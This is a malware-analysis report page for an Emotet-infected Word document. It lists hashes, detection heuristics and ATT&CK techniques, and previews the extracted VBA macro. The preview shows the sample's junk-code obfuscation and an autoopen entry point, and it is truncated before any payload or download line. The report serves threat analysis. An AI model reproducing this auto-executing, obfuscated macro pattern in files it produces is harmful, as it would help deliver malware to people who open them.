Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1044e703651e0c91…

MALICIOUS

Office (OLE)

137.6 KB Created: 2019-05-30 14:48:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: d4257f1cebea901c2272a4f773b86611 SHA-1: 71a707728f61267f47869c4eabb7fe551003e42f SHA-256: 1044e703651e0c91e296dc549e19c1a22afdd37cd2bb781a4fd86bb1982f1542
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an autoopen subroutine, a common technique for Emotet. The macro is designed to execute code, likely to download and run a secondary payload. ClamAV detection confirms the Emotet family and its downloader capabilities.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9670 bytes
SHA-256: 650e4990cdc8304d81d9d8cdd3226843fc6f5212d5c7c7d026d7543dd6d07ea0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "QZzGnzo, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "QB3XfUno, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "B70juN, 2, 2, MSForms, ComboBox"
Function nbAqRI1I()
   'Select Case "r44z6qv6"
        ' Case "VK_sdkr"
           ' Debug.Print _
'"EwU9UDX"
           ' Debug.Print  "cvRiCK"
           ' Debug. _
'Print  Tan("YNYi4r_f")
       '  Case "io4ztLq"
           ' Debug.Print  Log("a7iwiUqW")
          '  Debug.Print  "wHzmfG"
          '  Debug.Print _
'"DMFVcA"
'End Select
   'Select Case "YAqwEwN"
        ' Case "UajXYEl"
           ' Debug.Print _
'"jfQMMA7i"
           ' Debug.Print  "muFnd5l"
           ' Debug. _
'Print  Tan("jhWu5qLm")
       '  Case "iYPRC7fY"
           ' Debug.Print  Log("i4kmwdmS")
          '  Debug.Print  "YzToCL"
          '  Debug.Print _
'"ShAYCqiD"
'End Select
End Function
Sub _
autoopen( _
)
   'Select Case "COflKB"
        ' Case "kPb6pt"
           ' Debug.Print _
'"WtQ0oI9"
           ' Debug.Print  "irllYu"
           ' Debug. _
'Print  Tan("CD5d2LUT")
       '  Case "bfic3k7P"
           ' Debug.Print  Log("Ni5QaUf")
          '  Debug.Print  "XTjV_lp"
          '  Debug.Print _
'"di7qcUbk"
'End Select
WKm1aG
   'Select Case "jdwwEa"
        ' Case "L7Yin0V_"
           ' Debug.Print _
'"oroGn1"
           ' Debug.Print  "Uvaaa74G"
           ' Debug. _
'Print  Tan("NGQq8WqI")
       '  Case "EtiaI9k"
           ' Debug.Print  Log("d28BLBz")
          '  Debug.Print  "Zclh4ntL"
          '  Debug.Print _
'"mSbiWR"
'End Select
End Sub
Function zSdW7j()
   'Select Case "TfuVrS"
        ' Case "Um7NhdF"
           ' Debug.Print _
'"GCk0lfQV"
           ' Debug.Print  "GFJjP7z"
           ' Debug. _
'Print  Tan("iwLJCt")
       '  Case "UMsWV_"
           ' Debug.Print  Log("qJQwAd_")
          '  Debug.Print  "YjPDqRvc"
          '  Debug.Print _
'"C84hPbO"
'End Select
   'Select Case "ZRPtK1"
        ' Case "b6ik7j"
           ' Debug.Print _
'"pTYcZur_"
           ' Debug.Print  "Ebq_zu"
           ' Debug. _
'Print  Tan("fTcrc_z")
       '  Case "PD4WurDO"
           ' Debug.Print  Log("j1vkQz0")
          '  Debug.Print  "ZhGvHS"
          '  Debug.Print _
'"XG2YqDD"
'End Select
End Function


Attribute VB_Name = "hNQIWzn0"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "BbQuYipD"

Attribute VB_Name = "Ht1LJz"

Attribute VB_Name = "wtzlHRip"

Attribute VB_Name = "jomK2NNX"

Attribute VB_Name = "cEwdLBpj"

Attribute VB_Name = "OAjloB"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "MBFW9Hf"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lNsrcWh"
Function zBuHNZ2()
   'Select Case "iM4m2S_"
        ' Case "iB3ndiw"
           ' Debug.Print _
'"whq5pSLk"
           ' Debug.Print  "nXDF7bD"
           ' Debug. _
'Print  Tan("MPwEmsP")
       '  Case "bcShdJ"
           ' Debug.Print  Log("rwikbQJ")
          '  Debug.Print  "Pm77Mau"
          '  Debug.Print _
'"cMdDMZ"
'End Select
   'Select Case "QHFztDu"
        ' Case "JUfA86mv
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.